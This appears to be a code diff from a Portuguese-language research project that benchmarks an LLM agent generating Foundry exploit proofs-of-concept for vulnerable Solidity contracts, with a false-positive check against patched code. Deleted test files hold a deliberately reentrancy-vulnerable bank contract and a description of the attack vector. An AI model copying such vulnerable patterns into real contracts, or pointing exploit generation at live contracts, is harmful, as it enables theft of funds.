  // Se reproduziu, testa a especificidade aplicando o patch
119
  if (reproducible) {
120
  console.log(`\n[CENÁRIO A] Reproduzível! PoC gerado com sucesso. Testando especificidade no patch...`);
 
121
 
122
  const patchApplied = await applyPatchSmart(caseId, sandboxDir);
123
  if (patchApplied) {
 
138
  }
139
 
140
  const lastErrorA = (resultA as any).lastError || (resultA.status === "success" ? "" : "TIMEOUT");
141
+ const logsA = Buffer.from(((resultA as any).executionLogs || []).join("\n---\n")).toString("base64");
142
 
143
  // ==========================================
144
  // CENÁRIO B: Teste de Falso Positivo (Patch)
 
151
  let falsePositiveRejected = false;
152
  let resultB: Partial<PoCResult> = { iterations: 0, status: "failed" };
153
  let lastErrorB = "";
154
+ let logsB = "";
155
 
156
  if (setupInfoB) {
157
  // Aplica o patch ANTES de chamar o agente (tornando o código seguro)
 
172
  patchDiff: undefined // Oculta o patch diff do LLM para este cenário
173
  };
174
 
175
+ resultB = await testerAgent.invoke({ report: reportB }, { recursionLimit: 100 }) as any;
176
 
177
  // Se falhou em gerar exploit, REJEITOU com sucesso o falso positivo!
178
  if (resultB.status !== "success") {
 
182
  console.log(`\n[CENÁRIO B] ALUCINAÇÃO CRÍTICA! Agente hackeou um código que já estava corrigido.`);
183
  }
184
  lastErrorB = (resultB as any).lastError || (resultB.status === "success" ? "" : "TIMEOUT");
185
+ logsB = Buffer.from(((resultB as any).executionLogs || []).join("\n---\n")).toString("base64");
186
  }
187
  }
188
 
 
201
  (resultB as any).infraIterations || 0,
202
  (resultB as any).exploitIterations || 0,
203
  lastErrorB,
204
+ Buffer.from(pocCodeStr).toString("base64"),
205
+ reproducible ? Buffer.from(patchDiff).toString("base64") : "",
206
+ logsA,
207
+ logsB
208
  ]);
209
 
210
  console.log(`[${caseId}] Avaliação concluída em ${totalTimeSec}s. Salvo no CSV.`);
src/benchmark/runSyntheticEvaluation.ts ADDED
@@ -0,0 +1,140 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import "dotenv/config";
2
+ import fs from "fs/promises";
3
+ import path from "path";
4
+ import { execSync } from "child_process";
5
+ import { testerAgent } from "../agents/tester/agent.js";
6
+ import { VulnerabilityReport } from "../agents/tester/types.js";
7
+
8
+ const JSONL_FILE = path.join(process.cwd(), "data", "benchmark_synthetic.jsonl");
9
+ const TEMP_DIR = path.join(process.cwd(), "temp_eval_run");
10
+ const CSV_FILE = path.join(process.cwd(), "data", "synthetic_evaluation_results.csv");
11
+
12
+ async function parseJSONL(filepath: string) {
13
+ const content = await fs.readFile(filepath, "utf8");
14
+ return content.split("\n").filter(l => l.trim().length > 0).map(l => JSON.parse(l));
15
+ }
16
+
17
+ async function createEmptyFoundryProject(targetDir: string, sourceCode: string, contractName: string) {
18
+ await fs.mkdir(targetDir, { recursive: true });
19
+ execSync("forge init --no-git --force", {
20
+ cwd: targetDir,
21
+ env: { ...process.env, PATH: `${process.env.PATH}:/home/tales/.foundry/bin` }
22
+ });
23
+
24
+ // Clean up default files
25
+ await fs.rm(path.join(targetDir, "src", "Counter.sol"), { force: true });
26
+ await fs.rm(path.join(targetDir, "test", "Counter.t.sol"), { force: true });
27
+ await fs.rm(path.join(targetDir, "script", "Counter.s.sol"), { force: true });
28
+
29
+ // Write vulnerable contract
30
+ await fs.writeFile(path.join(targetDir, "src", `${contractName}.sol`), sourceCode);
31
+ }
32
+
33
+ function appendCsvRow(row: string[]) {
34
+ const line = row.map(cell => `"${String(cell).replace(/"/g, '""')}"`).join(";") + "\n";
35
+ import("fs").then(m => m.appendFileSync(CSV_FILE, line));
36
+ }
37
+
38
+ async function runEvaluation() {
39
+ const cases = await parseJSONL(JSONL_FILE);
40
+
41
+ // Only evaluate easy and intermediate for now
42
+ const targetCases = cases.filter(c => c.complexity !== "hard");
43
+ console.log(`Iniciando avaliação para ${targetCases.length} projetos sintéticos...`);
44
+
45
+ const csvHeaders = [
46
+ "Task_ID",
47
+ "Complexity",
48
+ "Time_Sec",
49
+ "Pass_at_1",
50
+ "Tool_Calls",
51
+ "Total_Cost_USD",
52
+ "Final_Status",
53
+ "Error_Msg"
54
+ ];
55
+
56
+ await fs.mkdir(path.join(process.cwd(), "data"), { recursive: true });
57
+ await fs.writeFile(CSV_FILE, csvHeaders.join(";") + "\n");
58
+
59
+ let totalCost = 0;
60
+ let passed = 0;
61
+
62
+ for (const c of targetCases) {
63
+ console.log(`\n\n${"=".repeat(60)}`);
64
+ console.log(`=== INICIANDO CASO: ${c.task_id} ===`);
65
+ console.log(`${"=".repeat(60)}`);
66
+
67
+ const startTime = Date.now();
68
+ const sandboxDir = path.join(TEMP_DIR, c.repo_name);
69
+
70
+ // Setup Forge
71
+ const contractName = c.repo_name.replace(/-/g, ""); // Simplified contract name parsing
72
+ await createEmptyFoundryProject(sandboxDir, c.source_code, contractName);
73
+
74
+ const report: VulnerabilityReport = {
75
+ id: c.task_id,
76
+ severity: c.impact || "high",
77
+ type: c.expected_vulnerability,
78
+ title: c.task_id,
79
+ description: c.annotation,
80
+ affectedContract: { name: contractName, sourceCode: c.source_code, sourceFilePath: `src/${contractName}.sol` },
81
+ attackVector: c.expected_vulnerability,
82
+ customSandboxDir: sandboxDir
83
+ };
84
+
85
+ console.log(`[CENÁRIO SINTÉTICO] Gerando exploit para ${c.task_id}...`);
86
+
87
+ const result = await testerAgent.invoke(
88
+ { report },
89
+ {
90
+ recursionLimit: 100,
91
+ configurable: { sandboxDir }
92
+ }
93
+ ) as any;
94
+
95
+ const timeSec = ((Date.now() - startTime) / 1000).toFixed(1);
96
+ const passAt1 = result.status === "success";
97
+ const toolCalls = result.toolCallCount || 0;
98
+ const cost = result.totalCost || 0;
99
+
100
+ totalCost += cost;
101
+ if (passAt1) passed++;
102
+
103
+ console.log(`=> Status: ${result.status} | Tools: ${toolCalls} | Cost: $${cost.toFixed(2)} | Time: ${timeSec}s`);
104
+
105
+ if (!passAt1) {
106
+ console.log("--- LLM HISTORY ---");
107
+ for (const m of result.messages) {
108
+ console.log(`[${m._getType()}] ${m.content.substring(0, 200)}...`);
109
+ if (m._getType() === "ai" && m.tool_calls) {
110
+ console.log("Tool calls:", JSON.stringify(m.tool_calls));
111
+ }
112
+ if (m._getType() === "tool" && m.name === "smart_contract_test") {
113
+ console.log("Test Output:", m.content);
114
+ }
115
+ }
116
+ console.log("-------------------");
117
+ }
118
+
119
+ appendCsvRow([
120
+ c.task_id,
121
+ c.complexity,
122
+ timeSec,
123
+ passAt1 ? "TRUE" : "FALSE",
124
+ toolCalls.toString(),
125
+ cost.toFixed(4),
126
+ result.status,
127
+ result.lastError || ""
128
+ ]);
129
+ }
130
+
131
+ console.log(`\n\nAVALIAÇÃO CONCLUÍDA!`);
132
+ console.log(`Accuracy (Pass@1): ${((passed / targetCases.length) * 100).toFixed(1)}% (${passed}/${targetCases.length})`);
133
+ console.log(`Total Cost: $${totalCost.toFixed(2)}`);
134
+ console.log(`Resultados em: ${CSV_FILE}`);
135
+ }
136
+
137
+ runEvaluation().catch(err => {
138
+ console.error("Fatal error during evaluation:", err);
139
+ process.exit(1);
140
+ });
tests/centrifuge_flat.sol DELETED
@@ -1,71 +0,0 @@
1
- // SPDX-License-Identifier: AGPL-3.0-only
2
- pragma solidity 0.8.21;
3
-
4
- interface IERC20 {
5
- function totalSupply() external view returns (uint256);
6
- function balanceOf(address account) external view returns (uint256);
7
- function transfer(address recipient, uint256 amount) external returns (bool);
8
- function allowance(address owner, address spender) external view returns (uint256);
9
- function approve(address spender, uint256 amount) external returns (bool);
10
- function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
11
- }
12
-
13
- interface IERC4626 is IERC20 {
14
- function asset() external view returns (address);
15
- }
16
-
17
- interface InvestmentManagerLike {
18
- function processDeposit(address receiver, uint256 assets) external returns (uint256);
19
- function processMint(address receiver, uint256 shares) external returns (uint256);
20
- function maxDeposit(address user, address _tranche) external view returns (uint256);
21
- function maxMint(address user, address _tranche) external view returns (uint256);
22
- function requestDeposit(uint256 assets, address receiver) external;
23
- }
24
-
25
- contract Auth {
26
- mapping (address => uint) public wards;
27
- function rely(address usr) external auth { wards[usr] = 1; }
28
- function deny(address usr) external auth { wards[usr] = 0; }
29
- modifier auth {
30
- require(wards[msg.sender] == 1, "not-authorized");
31
- _;
32
- }
33
- }
34
-
35
- contract LiquidityPool is Auth {
36
- uint64 public poolId;
37
- bytes16 public trancheId;
38
- address public immutable asset;
39
- address public immutable share;
40
- InvestmentManagerLike public investmentManager;
41
-
42
- constructor(uint64 poolId_, bytes16 trancheId_, address asset_, address share_, address investmentManager_) {
43
- poolId = poolId_;
44
- trancheId = trancheId_;
45
- asset = asset_;
46
- share = share_;
47
- investmentManager = InvestmentManagerLike(investmentManager_);
48
- wards[msg.sender] = 1;
49
- }
50
-
51
- modifier withApproval(address owner) {
52
- require(msg.sender == owner, "LiquidityPool/no-approval");
53
- _;
54
- }
55
-
56
- function deposit(uint256 assets, address receiver) public withApproval(receiver) returns (uint256 shares) {
57
- shares = investmentManager.processDeposit(receiver, assets);
58
- }
59
-
60
- function mint(uint256 shares, address receiver) public withApproval(receiver) returns (uint256 assets) {
61
- assets = investmentManager.processMint(receiver, shares);
62
- }
63
-
64
- function maxDeposit(address receiver) public view returns (uint256) {
65
- return investmentManager.maxDeposit(receiver, address(this));
66
- }
67
-
68
- function maxMint(address receiver) external view returns (uint256 maxShares) {
69
- return investmentManager.maxMint(receiver, address(this));
70
- }
71
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
tests/e2e/poc-generator.test.ts DELETED
@@ -1,39 +0,0 @@
1
- import { describe, expect, it } from "vitest";
2
-
3
- import { runPoCGenerator } from "../../src/agents/tester/index.js";
4
- import { VulnerabilityReport } from "../../src/agents/tester/types.js";
5
-
6
- const VULNERABLE_BANK = `
7
- pragma solidity ^0.8.20;
8
- contract VulnerableBank {
9
- mapping(address => uint) public balances;
10
- function deposit() external payable { balances[msg.sender] += msg.value; }
11
- function withdraw() external {
12
- uint amount = balances[msg.sender];
13
- (bool ok,) = msg.sender.call{value: amount}("");
14
- require(ok);
15
- balances[msg.sender] = 0; // atualiza DEPOIS — reentrancy
16
- }
17
- receive() external payable {}
18
- }`.trim();
19
-
20
- const mockReport: VulnerabilityReport = {
21
- id: "e2e-reentrancy-001",
22
- severity: "high",
23
- type: "reentrancy",
24
- title: "Reentrancy em withdraw()",
25
- description: "withdraw() envia ETH antes de zerar o saldo, permitindo re-entrada.",
26
- affectedContract: { name: "VulnerableBank", sourceCode: VULNERABLE_BANK },
27
- attackVector: "Contrato atacante com fallback() que chama withdraw() novamente antes do saldo ser zerado.",
28
- suggestedCheatcodes: ["vm.deal", "vm.startPrank", "vm.stopPrank"],
29
- };
30
-
31
- describe("PoC generator (e2e)", () => {
32
- it("generates a PoC from a vulnerability report", async () => {
33
- const result = await runPoCGenerator(mockReport);
34
-
35
- expect(result.status).toBe("success");
36
- expect(result.solidityCode).toContain("test_Exploit");
37
- expect(result.executionLogs.length).toBeGreaterThan(0);
38
- }, 120000);
39
- });
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
tests/run-centrifuge-test.ts DELETED
@@ -1,44 +0,0 @@
1
- import { testerAgent } from "../src/agents/tester/agent.js";
2
- import { Finding, VulnerabilityReport } from "../src/agents/tester/types.js";
3
- import { readFileSync } from "fs";
4
-
5
- function mapFindingToReport(finding: Finding, sourceCode: string): VulnerabilityReport {
6
- const nameMatch = finding.path.match(/([^\/]+)\.sol$/);
7
- const contractName = nameMatch ? nameMatch[1] : "TargetContract";
8
-
9
- return {
10
- id: finding.title.toLowerCase().replace(/[^a-z0-9]+/g, "-").slice(0, 50),
11
- severity: finding.severity === "high" ? "high" : finding.severity === "medium" ? "medium" : "low",
12
- type: "custom",
13
- title: finding.title,
14
- description: finding.description,
15
- affectedContract: {
16
- name: contractName,
17
- sourceCode: sourceCode,
18
- },
19
- attackVector: finding.judgeReview.exploitablePaths[0] || "Unknown vector",
20
- exploitablePaths: finding.judgeReview.exploitablePaths,
21
- codeSnippet: finding.codeSnippet,
22
- location: finding.location
23
- };
24
- }
25
-
26
- async function main() {
27
- const input = JSON.parse(readFileSync("src/agents/tester/data/input_centrifuge.json", "utf-8"));
28
- const sourceCode = readFileSync("tests/centrifuge_flat.sol", "utf-8");
29
-
30
- const report = mapFindingToReport(input, sourceCode);
31
-
32
- console.log("Iniciando execução do Agente Tester com Centrifuge Trajectory 008...");
33
- const result = await testerAgent.invoke({ report });
34
-
35
- console.log("\n======= Resultado =======");
36
- console.log("Status Final:", result.status);
37
- console.log("Iterações:", result.iterations);
38
- if (result.lastError) console.log("Último Erro:", result.lastError);
39
-
40
- console.log("\n======= Código Gerado =======");
41
- console.log(result.pocCode);
42
- }
43
-
44
- main().catch(console.error);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
tests/run-input-test.ts DELETED
@@ -1,67 +0,0 @@
1
- import { testerAgent } from "../src/agents/tester/agent.js";
2
- import { Finding, VulnerabilityReport } from "../src/agents/tester/types.js";
3
- import { readFileSync } from "fs";
4
-
5
- function mapFindingToReport(finding: Finding, sourceCode: string): VulnerabilityReport {
6
- const nameMatch = finding.path.match(/([^\/]+)\.sol$/);
7
- const contractName = nameMatch ? nameMatch[1] : "TargetContract";
8
-
9
- return {
10
- id: finding.title.toLowerCase().replace(/[^a-z0-9]+/g, "-").slice(0, 50),
11
- severity: finding.severity === "high" ? "high" : finding.severity === "medium" ? "medium" : "low",
12
- type: "custom",
13
- title: finding.title,
14
- description: finding.description,
15
- affectedContract: {
16
- name: contractName,
17
- sourceCode: sourceCode,
18
- },
19
- attackVector: finding.judgeReview.exploitablePaths[0] || "Unknown vector",
20
- exploitablePaths: finding.judgeReview.exploitablePaths,
21
- codeSnippet: finding.codeSnippet,
22
- location: finding.location
23
- };
24
- }
25
-
26
- async function main() {
27
- const input = JSON.parse(readFileSync("src/agents/tester/data/input.json", "utf-8"));
28
-
29
- // O Finding do auditor já tem o 'codeSnippet', mas para o Oracle precisamos do 'sourceCode' completo.
30
- // Como não temos o repositório do coder aqui, vamos usar o codeSnippet envolto em um contrato mínimo
31
- // ou assumir que o codeSnippet é representativo para o teste.
32
- // Na vida real, o index.ts passa o coderResult.contract.
33
-
34
- // Vamos criar um sourceCode fake que contém o snippet para testar o fluxo.
35
- const fakeSourceCode = `
36
- pragma solidity ^0.8.20;
37
- contract CafeToken {
38
- mapping(address => uint256) public balances;
39
- event RewardRedeemed(address indexed user, uint256 amount, string recompensa);
40
- function _burn(address account, uint256 amount) internal {
41
- balances[account] -= amount;
42
- }
43
- function balanceOf(address account) public view returns (uint256) {
44
- return balances[account];
45
- }
46
- function mint(address account, uint256 amount) public {
47
- balances[account] += amount;
48
- }
49
- ${input.codeSnippet}
50
- }
51
- `;
52
-
53
- const report = mapFindingToReport(input, fakeSourceCode);
54
-
55
- console.log("Iniciando execução do Agente Tester com input.json...");
56
- const result = await testerAgent.invoke({ report });
57
-
58
- console.log("\n======= Resultado =======");
59
- console.log("Status Final:", result.status);
60
- console.log("Iterações:", result.iterations);
61
- if (result.lastError) console.log("Último Erro:", result.lastError);
62
-
63
- console.log("\n======= Código Gerado =======");
64
- console.log(result.pocCode);
65
- }
66
-
67
- main().catch(console.error);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
tests/scaffold.test.ts DELETED
@@ -1,36 +0,0 @@
1
- import { describe, expect, it } from "vitest";
2
-
3
- import { generateLocalScaffold } from "../src/agents/tester/tools/scaffoldGenerator.js";
4
-
5
- describe("generateLocalScaffold", () => {
6
- it("creates a basic exploit scaffold", () => {
7
- const mockReport = {
8
- id: "t1",
9
- severity: "high" as const,
10
- type: "reentrancy",
11
- title: "Reentrancy in withdraw()",
12
- description: "withdraw() sends ETH before zeroing balance",
13
- attackVector: "Malicious callback",
14
- affectedContract: {
15
- name: "VulnerableBank",
16
- sourceCode: `
17
- pragma solidity ^0.8.20;
18
- contract VulnerableBank {
19
- mapping(address=>uint) public balances;
20
- function withdraw() external {
21
- uint a = balances[msg.sender];
22
- (bool ok,) = msg.sender.call{value:a}("");
23
- require(ok); balances[msg.sender] = 0;
24
- }
25
- }`,
26
- },
27
- };
28
-
29
- const scaffold = generateLocalScaffold(mockReport);
30
-
31
- expect(scaffold).toContain("contract ExploitTest is Test");
32
- expect(scaffold).toContain("VulnerableBank target");
33
- expect(scaffold).toContain("function setUp()");
34
- expect(scaffold).toContain("function test_Exploit()");
35
- });
36
- });
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
tests/state.test.ts DELETED
@@ -1,16 +0,0 @@
1
- import { describe, expect, it } from "vitest";
2
-
3
- import { PoCStateAnnotation } from "../src/agents/tester/state.js";
4
-
5
- describe("PoCStateAnnotation", () => {
6
- it("defines the iterations field", () => {
7
- const spec = (PoCStateAnnotation as any).spec;
8
- expect(spec.iterations).toBeDefined();
9
- });
10
-
11
- it("uses additive reducer for iterations", () => {
12
- const spec = (PoCStateAnnotation as any).spec;
13
- const reducer = spec.iterations.reducer ?? ((x: number, y: number) => x + y);
14
- expect(reducer(0, 1)).toBe(1);
15
- });
16
- });
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
tests/stub-run.ts DELETED
@@ -1,19 +0,0 @@
1
- import { testerAgent } from "../src/agents/tester/agent.js";
2
-
3
- const mockReport = {
4
- id: "test-stub",
5
- severity: "high" as const,
6
- type: "reentrancy",
7
- title: "Test",
8
- description: "Test",
9
- attackVector: "Test",
10
- affectedContract: { name: "Test", sourceCode: "pragma solidity ^0.8.0;" }
11
- };
12
-
13
- const result = await testerAgent.invoke({ report: mockReport });
14
-
15
- console.assert(result.status === "success", `status deve ser success, mas foi ${result.status}`);
16
- console.assert(result.iterations === 1, `iterations deve ser 1, mas foi ${result.iterations}`);
17
-
18
- console.log("Grafo stub OK:", result.status);
19
- console.log("Iterations:", result.iterations);